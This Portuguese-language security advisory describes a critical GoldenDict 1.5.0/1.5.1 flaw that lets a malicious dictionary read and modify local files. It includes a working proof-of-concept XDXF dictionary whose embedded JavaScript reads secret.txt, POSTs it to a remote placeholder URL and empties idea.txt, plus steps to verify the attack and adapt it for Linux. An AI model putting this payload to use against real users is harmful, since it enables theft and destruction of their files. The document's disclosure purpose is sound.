
CVSS v3: (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L) - 9.6/10
GoldenDict 1.5.0 e 1.5.1 possui um método perigoso exposto que permite ler e modificar arquivos quando um usuário adiciona um dicionário elaborado e depois pesquisa por qualquer termo incluído nesse dicionário.
O produto fornece interface para interação com atores externos, que inclui um método perigoso no GoldenDict (ver. 1.5.0, 1.5.1) que não é devidamente restrito. Isso permite que um atacante remoto obtenha acesso para ler e modificar arquivos no sistema de arquivos do usuário quando um dicionário malicioso preparado é adicionado e usado no programa.
CWE-749: Exposed Dangerous Method or Function; CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
GoldenDict Project
GoldenDict - 1.5.0, 1.5.1
Executável GoldenDict, arquivo de código-fonte xdxf.cc, arquivo de código-fonte xdxf2html.cc, arquivo de código-fonte stardict.cc.
Remoto
true
true
Acesso para ler e modificar arquivos no sistema de arquivos do usuário
Para explorar a vulnerabilidade, um usuário deve adicionar um dicionário malicioso ao programa e pesquisar por qualquer termo incluído nesse dicionário.
Grebennikov Timofey, um especialista no grupo de testes de penetração do departamento de controle de segurança do desenvolvimento do Grupo Astra.
https://github.com/goldendict/goldendict/releases
GoldenDict é um programa gráfico para pesquisar termos na Wikipedia e em dicionários instalados localmente. Vários formatos de dicionários são suportados, incluindo o formato XDXF com marcação XML. Os dicionários são distribuídos na Internet por outros usuários.
O programa usa um mecanismo de navegador, incluído no pacote de componentes Qt Widgets, para renderizar e exibir palavras dos dicionários.
Várias violações de segurança foram descobertas ao mesmo tempo, que permitem a implementação de uma vulnerabilidade crítica:
Juntas, essas violações levam à possibilidade de obter acesso aos arquivos do usuário ao incorporar código JS malicioso na marcação XML de um dicionário XDXF baixado da Internet.
Para testar uma vulnerabilidade no Windows, você pode executar um script que afeta dois arquivos preparados no sistema de arquivos.
<?xml version="1.0" encoding="UTF-8"?>
<xdxf lang_from="ENG" lang_to="RUS" format="logical">
<full_name>Malicious dictionary</full_name>
<description>You have been pwned!</description>
<meta_info>
<copyright>Public Domain</copyright>
</meta_info>
<lexicon>
<ar>
<k>vuln_test</k>
<def>
Some description...
<script>
var secretFile = 'file:///C:/Users/Public/Documents/secret.txt';
var ideaFile = 'file:///C:/Users/Public/Documents/idea.txt';
var xhr = new XMLHttpRequest();
xhr.open('GET', secretFile, true);
xhr.onload = function() {
var secretData = xhr.responseText;
if (secretData.length > 0) {
var xhr2 = new XMLHttpRequest();
xhr2.open('POST', '[Target-URL]', true);
xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr2.send('data=' + encodeURIComponent(secretData));
}
};
xhr.onerror = function() {
};
xhr.send();
var xhr3 = new XMLHttpRequest();
xhr3.open('PUT', ideaFile, true);
xhr3.setRequestHeader('Content-Type', 'text/plain');
xhr3.send("");
</script>
</def>
</ar>
</lexicon>
</xdxf>
Quando inicializado, este dicionário enviará o conteúdo de secret.txt para o servidor remoto e limpará idea.txt.
Verifique o sucesso do ataque – o destinatário receberá uma mensagem contendo o conteúdo do arquivo secret.txt, e o arquivo idea.txt estará vazio.
A vulnerabilidade afeta tanto sistemas Windows quanto Linux. Para reproduzir a vulnerabilidade em um sistema Linux, é necessário usar diretórios diferentes para armazenar os arquivos de teste e especificar isso no código malicioso.